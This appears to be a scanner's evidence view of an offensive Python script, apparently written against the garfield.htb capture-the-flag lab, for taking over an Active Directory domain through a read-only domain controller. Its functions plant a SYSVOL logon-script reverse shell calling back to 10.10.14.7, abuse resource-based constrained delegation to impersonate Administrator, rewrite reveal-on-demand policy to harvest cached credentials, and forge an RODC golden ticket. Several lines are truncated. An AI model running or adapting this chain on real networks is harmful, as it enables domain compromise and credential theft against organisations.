garfield_rodc_takeover.py
Active AD domain takeover script
RBCD delegation evidence with Kerberos impersonationTicket-forging command with RODC key references
SHA-2568d9b84b2ea91c9830337ae7d3a96b0b0fb32f353c63a9dc026d23cf3af444d22
Evidence
1#!/usr/bin/env python3
2# Operator chain: segmented-DC Read-Only Domain Controller (RODC) takeover to
3# domain Administrator. Written against garfield.htb but every destination,
4# account and key below is a parameter, not a constant.
5import subprocess
6
7DC = "dc01.garfield.htb"
8RODC = "RODC01.garfield.htb"
9DOMAIN = "garfield.htb"
10
11RBCD_ATTR = "msDS-AllowedToActOnBehalfOfOtherIdentity"
12REVEAL_ON_DEMAND = "msDS-RevealOnDemandGroup"
13REVEALED_USERS = "msDS-RevealedUsers"
14NEVER_REVEAL = "msDS-NeverRevealGroup"
15KRBTGT_LINK = "msDS-KrbTgtLink"
16
17
18def run(cmd):
19 print("[>]", cmd)
20 subprocess.run(cmd, shell=True, check=False)
21
22
23def logon_script_abuse():
24 # Drop a logon-script payload into the writable SYSVOL scripts share and
25 # point a victim user's scriptPath at it. Runs as that user at next logon.
26 drop = r"\\DC01.garfield.htb\SYSVOL\garfield.htb\scripts\rev.bat"
27 with open(drop, "w") as fh:
28 fh.write("@echo off\r\n")
29 fh.write("powershell -nop -w hidden -c \"$c=New-Object Net.Sockets.TCPClient('10.10.14.7',443)\"\r\n")
30 run("bloodyAD --host %s -d %s set object 'CN=Liz Wilson,CN=Users,DC=garfield,DC=htb' scriptPath -v rev.bat" % (DC, DOMAIN))
31
32
33def rbcd_s4u_impersonation():
34 # Resource-based constrained delegation: write an attacker SD to the target
35 # computer object, then S4U2Proxy-impersonate the domain Administrator.
36 sd = "O:BAD:(A;;GAGXGWGR;;;S-1-5-21-1111111111-2222222222-3333333333-1134)"
37 run("bloodyAD --host %s -d %s add rbcd 'RODC01$' 'FAKE01$'" % (DC, DOMAIN))
38 run("bloodyAD --host %s -d %s set object 'RODC01$' %s -v %s" % (DC, DOMAIN, RBCD_ATTR, sd))
39 run("getST.py -spn cifs/%s -impersonate Administrator %s/FAKE01$:Summer2025" % (RODC, DOMAIN))
40 run("KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass Administrator@%s" % RODC)
41
42
43def rodc_credential_cache():
44 # Rewrite the RODC reveal-on-demand policy to permit the domain
45 # Administrator to be cached, force replication, then read the cached
46 # credential material back out of msDS-RevealedUsers.
47 run("bloodyAD --ho …
47:89… DC=garfield,DC=htb'" % (DC, DOMAIN, REVEAL_ON_DEMAND))
48 run("ldapsearch -H ldap://%s -b 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' %s %s" % (DC, REVEALED_USERS, NEVER_REVEAL))
49 run("rpcclient -c 'drsuapi …
49:33… eplicate' %s" % RODC)
50
51
52def rodc_golden_ticket():
53 # Forge an RODC golden ticket with the per-RODC krbtgt account key
54 # (msDS-KrbTgtLink points at it) and authenticate as Administrator to DC01.
55 run("ldapsearch -H ldap://%s -b 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' %s" % (DC, KRBTGT_LINK))
56 run("ticketer.py -aesKey abcd1234 -domain-sid S-1-5-21-1111 -domain %s -krbtgt krbtgt_8245 -user-id 500 Administrator" % DOMAIN)
57
58
⋯5 lines